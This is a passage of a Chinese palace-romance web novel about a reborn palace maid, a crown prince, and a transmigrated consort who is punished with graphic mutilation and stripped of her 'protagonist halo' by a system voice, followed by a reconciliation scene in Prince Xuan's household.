槛儿就笑了。 很好,还能回应她的这些小问题。 这章没有结束,请点击下一页继续阅读!说明心情并没有差到极致。 槛儿把银叉放到盘子上,说着这盘雪梨怎么来的,一面牵着太子往罗汉床那边走。 骆峋垂眸看着那只被他的手衬得格外显小的手,到底还是任由她牵着。 罗汉床的核桃木小几上摆着双陆盘,是下午槛儿和瑛姑姑没玩结束的残局。 槛儿和太子隔着小几坐下后便扔起了骰子,随即拿起她这边的白棋走了起来。 骆峋真不想玩这个。 太简单。 但见槛儿看着他的眼神亮晶晶的,红唇弯弯,手上还不忘拿银叉喂他雪梨片。 骆峋便还是抓起了骰子。 扔了个最大点数,一下子就结束了游戏。 槛儿:“……” 她的无言写在脸上,骆峋嘴角险些没绷住,好在让他及时将那抹弧度压下去。 不过,当槛儿把所有棋子全部摆回原位,说着要重来时骆峋顺势应了。 两人就这么玩起了双陆。 也不知太子怎么扔的骰子,总能扔出适当的点数,槛儿一不留神就被他吃。 就在槛儿琢磨着要怎么才能吃掉太子的棋子时,对面的男人忽然开了口。 “孤见过姜氏了。” 槛儿反应了一下明白过来他口中的“姜氏”是谁,她的心思顿时不在双陆上了。 捏着棋子看着太子,柔声问道:“怎么说,殿下有问她那件事吗?她有承认吗?还是她否认了之前的话?” 槛儿清楚,太子之前刚听她说这件事的时候虽动怒了,但他骨子里就不是个会被一时的情绪冲昏头脑的。 庆昭帝也从不会偏听偏信。 所以,槛儿知道他肯定要从姜侧妃口中证实。 这其实也是人之常情。 槛儿不觉得有什么,她也没刻意装傻充愣。 “嗯。” 骆峋落下棋子,抬目看向她。 “认了,且说了不少孤不曾听闻过的事。” 槛儿的心微微收紧,脸上倒没泄露分毫,只做出一个正常人在听到一件自己不知道的事时该有的不解模样。 “妾身能知道吗?” 她谨慎恭敬地问。 骆峋看了她两息。 手放在膝上,颔了颔首。 姜氏的某些言论即便传出去寻常人也不会信,至于那些更大逆不道之言。 他不会告诉她,没必要吓她。 也…… 敛起心思,骆峋开门见山道:“她说,她是从一个很发达的将来世界穿越而来的。” 哈?! 槛儿手里的棋子都掉了。 穿越?将来世界? 是她理解的那个意思吗? 古唐时期天竺僧人在《楞严经》中有云:世为迁流,界为方位,即时空也。 而发达,即草木萌发,舒展、兴盛,或功成名就。 换言之,发展势头强劲。 二者相结合,便是经济发展势头强劲的时空。 再结合“将来”一词,意思就是姜侧妃是来自将来的一个经济发达的时空。 就好比她死后重新回到自己年轻的时候,姜侧妃是死后回到了距离她那个世界很久很久的以前,即他们这里吗? 那他们这里原来的姜侧妃,和从另一个世界穿越来的姜侧妃是同一个人吗? 如果是这样,倒是能解释得通此前姜侧妃一病之后为何性情大变,判若两人了。 但,姜侧妃为何会知道曜哥儿的事? 莫不是史书记载? 骆峋见槛儿一脸茫然懵懂疑惑不似作假,只当她是没理解他话里的意思。 毕竟,她才启蒙不久。 如何能知道《楞严经》中所言。 于是,他先对槛儿解释起此话的意思。 槛儿充分代入,时而恍然大悟状,时而蹙眉沉思状,听得相当认真。 等听完,她假装反应了片刻才问出了自己的猜测:“既是穿越,那咱们这里原来的姜侧妃和她是同一个人吗?” 骆峋就觉得小昭训很聪明,能迅速理解穿越时空,能即刻察觉找准问题所在。 “不是。” 他放缓语调道。 “据她所言,孤与你所处之世界乃一本书,孤、你、你身边的宫人都为此书中人。” 槛儿脱口而出:“史书?” 骆峋:“为何会觉是史书?” 槛儿眨眨眼。 刚要按自己猜测的答,她忽然抿紧了唇。 骆峋:“嗯?” 槛儿捏紧手边的棋子,声音发沉:“如果不是史书,她如何能将时间都说得那般精准,元隆二十一年,二十五年……” 说着,她说不下去了。 紧抿着唇,垂下眼,“殿下恕罪,妾身……” 手被握住。 槛儿看到那只骨节分明的大手掰开她的手,将她手中攥着的棋子取出来。 “过来。” 骆峋在她被棋子硌出印子的掌心抚了抚,遂将小几拽开,示意槛儿坐到他身边。 槛儿就坐过去了。 骆峋握着她的手,另一只手环住她道:“不是史书,是小说,便是你日里看的话本。” 槛儿一怔:“话本?” 突然。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!她想到了前阵子那些名字相当长的话本,其中就有和她一样的重生类型和主人翁穿进话本故事的类型! 她就说姜侧妃这事儿听着怎么觉得这么耳熟,她刚刚竟一时没想起这个! 等等。 仙芋居士…… “仙芋居士,编写那些话本的人,是姜侧妃?!”槛儿瞪大眼,难以置信地道。 骆峋:“嗯,是她。” 槛儿一言难尽。 随即就被逗笑了,无言以对的笑。 上辈子她鲜少接触话本。 许是其中有宣王插手,也就导致她一直不知道姜侧妃在写这样式的话本。 这辈子她倒是看话本了。 岂料看得竟是姜侧妃写的! 这还真是无巧不成书。 所以,跳珠之前所说的“上面有人”。 这个人就是宣王。 槛儿栽到太子肩头,“妾身就说之前看的一些话本名儿怎么那样,原是她写的……” 说到一半。 槛儿抬头问:“殿下信她说的这些吗?” 这等荒诞不经之言论,寻常人听来或许多数都只当是此人在胡言乱语。 但骆峋自小广泛涉猎各类书籍,又常年习为君之道,听过各地报上来的奇闻轶事。 且姜氏所言还多与皇室有关。 所以此时听槛儿问及,骆峋揽着她的肩头,神色冷冽道:“宁可信其有。” 槛儿赞同。 天下之大,无奇不有。 她自身就是最好的例子。 这么说来…… 槛儿好像也有些明白上辈子的姜侧妃看她们女眷时,眼里为何总带着那么一丝倨傲不屑和高高在上了。 想来对方自诩从另一个经济发达的地方来,便觉他们这里贫穷落后,面对她们这些女眷也觉更高人一等。 不对,为何是女眷? 莫非姜侧妃那个世界的女子与他们这里的有何不同之处,或是比她们更厉害? 也不对。 一个地方不论人还是经济,能发展强劲都是一代代人努力而来的结果。 但这么一来。 姜侧妃便不应该是瞧不起她们才对…… 想不透,槛儿懒得浪费时间,转而问起太子:“殿下打算如何处置于她?” 既然姜侧妃清楚上辈子曜哥儿的早夭时间,说明对方穿的这个话本,很大可能写的便她上辈子发生的事。 如此,她还是别多问为好。 言多必失。 就当她没想到这一茬吧。 骆峋本就不打算将姜氏所言事无巨细地告知她,见她没追问,他便当没想起这一茬。 至于姜氏说她是重生之人…… 骆峋对上槛儿的视线,道:“你怀着身子,孤留她一命,姑且断了她的妄言之根。” 槛儿懂了。 看了他一小会儿,抱住他道:“有劳您了。” 骆峋的手摸到她小腹。 “你说过,此为孤与你的孩子。” 所以他不会只让她这个娘操心。 而她是否为重生之人。 归来是否为寻他报仇。 骆峋不知,也并不想当面逼问。 横竖他们之间的缘分至今左不过三月有余,原就谈不上多少信任与情爱。 现在这样,挺好。 至于往后如何,循理而举事即可。 . “所以说这男人啊,都是寡情薄意的。 宠你的时候含在嘴里怕化了,捧在手里怕摔了,要天上的星星他都能给你摘下来,一旦宠爱到了头,啧啧啧……” 宣王府。 后宅,位于西南角落的静思苑。 烈日当头,包着铁皮的院门厚重紧闭锈迹斑斑,门前台阶石缝中杂草丛生。 院中的青石地板因年久失修而裂开,三面低矮的屋子廊柱红漆斑驳,瓦片灰蒙蒙的,墙角处大片晒干的青苔。 两个粗使婆子和一个粗使丫头坐在西厢房门口的长条凳上,摇着扇子唠着嗑。 喜欢小宫女携崽重生,冷情太子被哄成翘嘴了请大家收藏:()小宫女携崽重生,冷情太子被哄成翘嘴了更新速度全网最快。 第102章 姜侧妃真实身份,本世界规则变更 “你小点儿声!” 孙婆子捶了吴婆子一拳,压低声提醒道。 “没事瞎咧咧啥?不知道她犯的啥事啊?直呼王爷名讳就罢,还拿东西砸王爷。 她那两个丫鬟都敢跟王爷呛声,换成咱早不知死多少回了,问题是她还骂王妃那啥! 就问哪家小妇敢这么骂主母?更别说还是圣上钦点的王妃,这不自己找死吗? 王爷若是这回不处置,回头风声漏到上边儿那位耳朵里,遭殃的就是整个王府了,到时候你我都跑不掉!” 吴婆子轻轻拍了拍嘴巴。 “也是哈,她就算自己不怕,也总得想想自个儿生的那两个和他们姜家那一大家子吧,再说跟咱也没干系。” 孙婆子:“谁说不是,她自己倒图一时痛快,就没想过跟她有关的人要受牵连。 现在好了,侧妃的位子没了,孩子人家养了,自己成了那副人不人鬼不鬼的样子。 娘家爹的官没了,家里的秀才、举人老爷功名没了,姐姐妹妹的婚事都黄了。 这还是咱王爷求陛下开了恩,要不然就跟荣王前头那一个一样,全家没一个……” 两个婆子对个眼神,没敢再说下去。 “婶儿,你们有没有觉得有啥不对劲?”粗使丫头红云听了半天,小声问道。 俩婆子:“啥不对?” 红云说:“去年正月她不是落水病了一场吗?醒来后跟变了个人似的,王爷对她的态度也跟变了个人似的。 前头的那些人本来不是挺不喜欢她的?最近这一年多竟都成她那边的人了,连王妃都要使唤不动他们了! 可我今儿一早去前头跑腿,居然听他们在骂这位,说她对大伙儿使了啥邪术。 问题是他们真举了好多事儿,说得有鼻子有眼的,听得我一身鸡皮疙瘩!” 孙婆子笑出声:“当时我就说她中了邪,要么就是沾了脏东西,你们还不信呢。” 吴婆子打个哆嗦。 “别说了别说了,咱晚上还得守呢。” 屋里。 姜宛宛是被痛醒的。 浑身上下哪儿哪儿都痛,就像是小说里写的被大卡车碾过的那种痛。 而最痛的当属嘴里。 “啊、啊……” 姜宛宛眼还没睁,反射性地张嘴。 谁知刚张嘴,舌根处一阵撕裂般的剧痛直激得她当即犹如中风也似地抽搐起来,两眼控制不住地翻白。 啊……啊! 好痛好痛好痛—— 姜宛宛艰难地转动眼珠,脸上肌肉痉挛,本能地想攥身下的褥子,想蹬腿。 然而才有动作。 她的手腕脚腕处又一阵钻心剧烈的痛,像是有人拿刀子在砍她的手腕脚腕,把里面的一条条筋全部砍断! “嘎啊、啊……” 姜宛宛艰难地偏过头。 就见两只手腕都缠着绷带,因她刚刚的动作,绷带肉眼可见地被迅速染红。 她试着抬了抬手臂。 啊! 啊—— 她的手、她的手掌直不起来! 她的手掌软绵绵地耷拉着,直不起来! 还有脚。 她的脚掌也动不了了…… 动不了了! 姜宛宛支撑不住重重倒回床上,骇然地望着满是灰尘污垢的帐子,疯狂转动的眼珠子上布满蛛网似的血丝。 为什么……她为什么会变成这样? 她的手脚,她的舌头…… 这是哪?是哪?! 突然。 姜宛宛身子一抖,眼珠子定格。 想起来了,她想起来了! 骆峋让宣王拔了她的舌头,挑断她的脚筋! 所以,所以她的舌头是被拔掉了吗?她的手筋脚筋……是被、被挑断了吗? 她再也不能说话了。 再也不能拿东西了,不能走路了?! 她成残废了?! 不、不! 对了…… 宋槛儿,宋槛儿宋槛儿宋槛儿宋槛儿! 砰! “哎哟,啥声儿?” 孙婆子吓一跳,扭头往屋里看。 吴婆子:“估计是醒了,咱去看看。” 两个婆子和红云进了屋。 刚走到破破烂烂的落地罩前,就看到本该在床上躺着的人滚到了地上。 白色的中衣上沾满了灰,一脑袋头发鸡窝似的蒙在脸上,四肢缠着纱布的地方正在往外“噗嗤噗嗤”冒着血水。 嘴里也是一股股血往外涌。 可就算是这样,她人还不老实。 两条胳膊撑着地,跟只虫子似的往外爬,喉咙里歇斯底里地发出粗噶的啊啊声。 孙婆子三人又给吓了一跳。 反应过来,吴婆子跑过去把人拽住,“哎哟喂,姜夫人这是做啥啊?咋跑地上来了,赶紧起来,地上这么脏咋能爬呢?” “红云你去叫谭郎中过来。” 孙婆子使唤道。 红云“诶”了一声,转身跑出去。 孙婆子过去跟吴婆子一起把人往床上抬,姜宛宛却是不住地挣扎扭动。 放她下来! 放她下来! 她要去找宋槛儿那贱人算账!她要去杀了那个不要脸的烂婊子!臭婊子! 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!自己屁本事没有…… 一个只配给太监做对食的死奴才贱婢!只配被畜生凌辱糟蹋的臭娘们儿!靠一身皮肉爬男人床的死小三! 她呸! 如果不是那女人恶人先告状,不是那贱人仗着有臭男人撑腰害她! 她的舌头,她的手脚怎么可能被废! 她怎么可能变成残废! 对了,宣王…… 宣王最近这个月对她的态度变化那么大,一定也是宋槛儿从中搞了什么鬼! 她要杀了她。 她要找人把宋槛儿先奸后杀了! “你够了啊。” 孙婆子干惯了粗活儿,任凭姜宛宛如何挣扎,她轻而易举便将其扔回了床上,再和吴婆子一起按住她的四肢。 孙婆子:“你自个儿把自个儿作成这样的,怨得了谁?现在做出这副模样又是想给谁看?咱可不想被你害了。” 吴婆子:“俗话说好死不如赖活着,陛下开了天恩饶你一命,你就好好珍惜吧,咱如今好歹还叫你一声夫人呢。” 姜宛宛痛得几乎麻木,眼前阵阵发黑。 可她不甘心,她恨! 她像似豁出去了,拼了命地扭动身体,喉咙里一声又一声粗噶的低咆宛如破旧的老风箱,又仿佛濒死的野兽。 两个婆子对视一眼。 孙婆子:“我给她按着,你去取参片,王爷说了人不能死,咱得把命给她吊着。” 没多会儿。 姜宛宛感觉嘴里被塞了东西,她习惯性想用舌头把东西抵出来。 东西没抵出来,倒是嘴里又一波汹涌的生疼和四肢脱力让她头晕耳鸣眼花。 恍惚间。 帐顶开始扭曲。 两个婆子的声音变得悠远,渐渐她的耳边只剩了她濒死一般的粗重喘息。 就在这时。 她的脑海里似乎响起两道“滋滋”声,类似她在现代听过的电流声。 电流…… 姜宛宛吭哧吭哧呼着气。 是系统吗? 是小说里的系统来绑定她,来救她了吗? 姜宛宛猛地兴奋起来。 她在脑海里默喊:“系统,系统!我被一对渣男贱女夺走了女主光环,你快来绑定我!帮我打脸那对渣男贱女!” 没听到回应,她又默喊了两遍。 没想到,还真叫她给喊出来了一个系统,但这系统却不是来绑定她帮她的。 「姜宛宛」 冰冷金属质感的女声响起。 「经系统调查判定,你所在的世界原主角为柳疏嫣、骆屿,经你这抹异世界灵魂的介入,本世界变更主角为姜宛宛、骆屿,原女主柳疏嫣黑化死亡。 现因配角宋槛儿重生,变更后的世界规则崩塌,男主骆屿即将恢复原有人格。」 「你身上的光环将彻底消失。」 「请做好准备。」 「倒计时:3」 姜宛宛怔住了。 随即在脑海里歇斯底里地大叫:“不准消失!不准消失!我才是女主,我是女主!” 「2」 “是宋槛儿破坏了规则!是那个贱人小三害的我!你应该去抹杀她才对!” 「1」 “叫你去抹杀那贱人——” 「0」 「光环撤销完毕,姓名:姜宛宛,性别:女,实际年龄:25,职业:互联网营销师 曾于互联网发布不当言论,参与网络暴力事件,致使当事人自杀身亡。」 「现作为惩罚,系统将延长姜宛宛寿命二十年,予其病痛缠身,伤残不断。」 「本世界从书中世界变更为真实世界,人生天地间,请坚强努力地生活。」 吴婆子看着床上的人,纳罕道:“人都晕半天了,喉咙里还咕噜些啥呢。” “管她呢,反正用刑的时候用了药就是为了不让她疼死,现在命吊回来了,咱回头当心别再让她胡来就行。” “嗯,我可想多活几年呢。” 喜欢小宫女携崽重生,冷情太子被哄成翘嘴了请大家收藏:()小宫女携崽重生,冷情太子被哄成翘嘴了更新速度全网最快。 第103章 宣王哭了?!与好姐妹共侍一夫,多恶心啊 鹤枫堂。 大丫鬟挽香将下人来报的消息禀给宣王妃,宣王妃听完点点头表示知道了。 待挽香出去。 顾侧妃放下茶盏,轻压了声音道:“王爷为何转变得如此之快?莫非真是因那位食了秽物才遭了厌弃?” 正值歇晌之后,瑜姐儿要读书。 顾侧妃给小家伙布置了课业,之后闲来无事便来宣王妃这边唠唠嗑。 “不至于。” 宣王妃沉吟片刻,道。 那人若是因那事厌弃姜氏,当时就不会在得知姜氏摔坏腿的实情后,连瑜姐儿都不顾便要去探望。 顾侧妃那晚在水榭,并不知琼苑发生过什么,便问宣王妃为何如此肯定。 宣王妃没说万寿节那晚的事,只道:“前头这一个月王爷还去看过她几次,再说不看僧面看佛面,就算厌弃了她,那不还有显哥儿和琼姐儿?” 这对儿可是难得一见的龙凤胎。 当时父皇都给姜氏赐赏了。 顾侧妃一听龙凤胎,神色一言难尽。 她扭头看眼堂屋方向。 转过来后很是幽怨地小声对宣王妃道:“王爷作甚叫人把那两个送去我那边,我一点儿也不想养孩子。” 怕被误会,她不忘补充:“我不是嫌麻烦,而是我原就不喜她的做派。 过去一年多她是变了性子,可每回瞧着我还是鼻子不是鼻子,眼睛不是眼睛的,也不知在傲个什么劲儿。 她如今遭了罪不假,可我又不是菩萨,做什么要因不喜欢的人遭了罪就同情对方,还要替对方养孩子……” 说着,顾侧妃突然不自在起来。 宣王妃示意她有话就说。 顾侧妃真就说了。 “不瞒您说,我之前看过几本她写的话本,讲的皆是诸如大少爷爱上一个本不受他所喜之人的故事。 我就怕回头王爷要去我那儿看孩子,次数多了他也会觉得我有趣,转变对我的态度,那可如何是好?” 顾侧妃真心不愿和宣王有男女方面的关系。 她与宣王妃合得来,时常泛月咏絮,瑜姐儿亦活泼可爱,敬重她这位先生。 不必为后宅琐事烦忧。 有施展才学的地方,又有好姐妹相伴,这样的日子过了两年她人都胖了。 要紧的是,顾侧妃委实做不出与好姐妹共侍一夫的事,多恶心得慌啊。 她是圣上钦点的王府侧妃,又不肖想正妃之位,宣王于她而言真不重要。 宣王妃知晓顾侧妃率性,却没料到她的顾虑在此,她顿觉忍俊不禁。 “您别只顾着笑啊。” 顾侧妃跺脚。 “话本故事创作通常源于日常取材,我昨儿就在愁这事儿了,您帮我想想辙,要不把那俩孩子安排去别处。 要不看寻个什么由头叫王爷去探望他俩时免了我的礼,我躲着不见他…… 不行,那位当初就是反其道而行之被看中的,我若躲了,王爷若再反过来觉得我性情有趣,相中我怎么办?” 宣王妃笑得直不起腰。 顾侧妃继续想像各种可能。 这时,落地罩外响起一道咬牙切齿的声音:“闭嘴,本王对你没兴趣!” 顾侧妃吓一跳。 宣王妃原本高高翘起的嘴角在一瞬间收了起来,人也立即站起身。 上前两步对来人行礼。 宣王看在眼里,心头微梗。 从前他们在一起何需在意这些虚礼。 不过当着顾侧妃的面宣王倒没说别的,径直到炕前的紫檀三屏椅上落座。 对顾侧妃道:“没你事了。” 言外之意你可以走了。 顾侧妃自然要走,但在走之前她欲言又止,最终还是一咬牙,小心问:“能请王爷收回刚刚说的那句话吗?” 怕宣王扭头就忘,她贴心提醒了一下:“就您说对妾身没有兴趣的那句。” 宣王的脸沉得能滴出水。 “没兴趣便没兴趣,作何要收回?难不成你想本王对你有兴趣?” 顾侧妃疯狂摇头。 “王爷息怒,妾身没旁的意思。 只妾身此前翻阅过几册话本,其中多数才子起初对佳人说的话便如王爷方才所言,最终却都言而无信。 妾身也是担心王爷是时会如同这些话本中的人物那般,自食其言,便想请王爷收回方才所言,妾身只当不知。” 宣王妃背过身,拿手帕掩了掩唇角。 宣王:“……” 宣王险把扶手给掰碎! 提起话本,他便想起姜氏,想起姜氏当着六哥的面说的那一番番话。 他和疏嫣有关的所有事,都让她说中了,且其中很多都只他与疏嫣才知晓。 所以,他信姜氏所言。 他恨不得亲手杀了那个毒妇! 若不是她,他怎会言行受束。 他和疏嫣又怎会…… “滚!” 听顾侧妃哪壶不开提哪壶,宣王再压抑不住心中震怒,厉声冷喝道。 顾侧妃从没见过宣王这般恼怒,立时也不敢胡言乱语,恭敬福身告退。 宣王妃看看宣王,坐到旁边位置,“王爷做什么对她生气,又不是她招惹了您。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!言下之意,谁惹了你找谁撒气去。 宣王一噎。 换做一个多月前,若逢她如此呛他,他会觉得烦躁,觉得她愈发尖酸刻薄。 可现在听来。 这不还是从前的她吗? 伶牙俐齿,是非分明。 然而从去年正月到上个月,这期间他却…… 宣王妃久没听到这人的声音,不由抬头将目光从自己手上移到对方身上。 旋即就让她看到了不可思议的一幕。 这人居然在哭! 刚刚还在发火的人,这会儿居然哭了?! 宣王哭自然不是眼泪哗啦啦的那种哭法,他只是看着宣王妃,眼眶通红。 眼泪在他眼里打转,下颌紧绷,看得出来在极力忍着不让眼泪掉下来。 宣王妃与他一起十几年,除了新婚那晚他高兴和她成婚,抱着她哭了会儿,此外宣王妃还没见这人哭过。 且新婚那晚是喜极而泣。 是能明显感觉出他的高兴的。 此时哭算什么? 宣王妃看不懂宣王眼里的复杂,愣了愣,随即就恼了,“腾”地站起身。 “你若舍不得她,大可不必在人前做出那么一副铁面无私的姿态,犯不着事前罚了人,事后又到我这里来哭。” “没得叫人恶心!” 说着,她抬步就要走。 被宣王拉住了腕子。 宣王妃要挣开他,但没来得及动作,忽听宣王很是郑重道:“我有话与你说,关于我罚姜氏的真正原因。” 夫妻一体,以防今后她不小心犯了忌讳,这件事必须要让她也知晓真相。 以防有人偷听,宣王将鹤枫堂的下人赶到了院外,命心腹随从守在院门口。 拉着宣王妃进了内室。 半个时辰后。 宣王妃目怔口呆,受惊吓的同时亦难以置信,怎么也没想到事情会是这样。 姜氏竟犯了如此大逆不道之罪,且她不是他们这儿的人,是占了真姜氏的身! 而宣王近一年多对她和瑜姐儿的冷待,竟也是受假姜氏的控制,若非如此她和他原该一直美满幸福下去! 这…… 这简直堪比志怪故事。 但宣王妃又并不认为这是宣王编造出的假话,以此来为他的见异思迁开脱。 毕竟牵涉到东宫,知情者不止宣王一个。 若为谎言,太容易拆穿。 可也正因为如此,宣王妃才觉得荒谬。 过去的一年多里,她时常在想他因何要如此待她和女儿,因何与从前判若两人。 她当他负心薄幸,为此痛过怒过恨过! 甚至拖垮自己的身子。 然如今。 他却告诉她一切都是假姜氏在从中作梗,他的所有言行都不受自身控制? 他是身不由己的? “呵……” 宣王妃笑出了声。 如此,她流过的那些泪,忍过的那些痛。 又算什么? 宣王看着妻子难掩苦涩与嘲讽的笑,只觉如鲠在喉,心似不住地往下坠。 这般怪力乱神之事,她不信也正常。 不过,宣王没有迫切地要妻子相信他。 “你我之间的事我会用接下来的时间来证实,但今后在外若是有人谈及与相关她的事,你我需切记慎言。” 宣王妃明白。 她不喜姜氏,却也不会做那起背地里说三道四之事,如今姜氏犯了大罪。 她更不可能与谁说道她。 妻子明理,宣王心痛的同时更是恼怒。 如此知书达理的妻子他分明一直清楚她为人如何,偏过去一年多他竟会觉得她无理取闹,尖酸苛刻! 正想着,瑜姐儿从王府前面的学堂回来了,在院外扯着嗓子喊娘。 此前一个月宣王虽多数时间清醒,但因着担心中途时不时又会变得不像自己,徒惹妻子和女儿难受。 所以上个月宣王住在前院。 如今惩治了姜氏,自己感觉整个人仿佛拨开了一直萦绕在眼前的雾。 此时听到女儿的声音,宣王立即一阵风似的跑出去,迫切地想抱抱女儿。 然而女儿一看到他小嘴儿就抿了起来,和不久前她娘的变脸简直如出一辙。 宣王心中又一阵酸楚。 所幸他深知此事急不得,不论如何,他之前伤害了母女二人都是事实。 想她们重新接纳他,他自然要有所付出才行。 宣王妃将女儿接进屋。 看小丫头喝水时她想起宣王告诉她的,姜氏诅咒宋昭训腹中孩子一事。 宣王妃不禁想。 不管如何姜氏之前是宣王府的侧妃,对人做出那等失礼且恶毒之事,她这个主母都有约束不力之过。 合该有所表示才对。 不知下回何时能再见,她得撇开那些犯忌讳的事,同宋昭训致歉才行。 喜欢小宫女携崽重生,冷情太子被哄成翘嘴了请大家收藏:()小宫女携崽重生,冷情太子被哄成翘嘴了更新速度全网最快。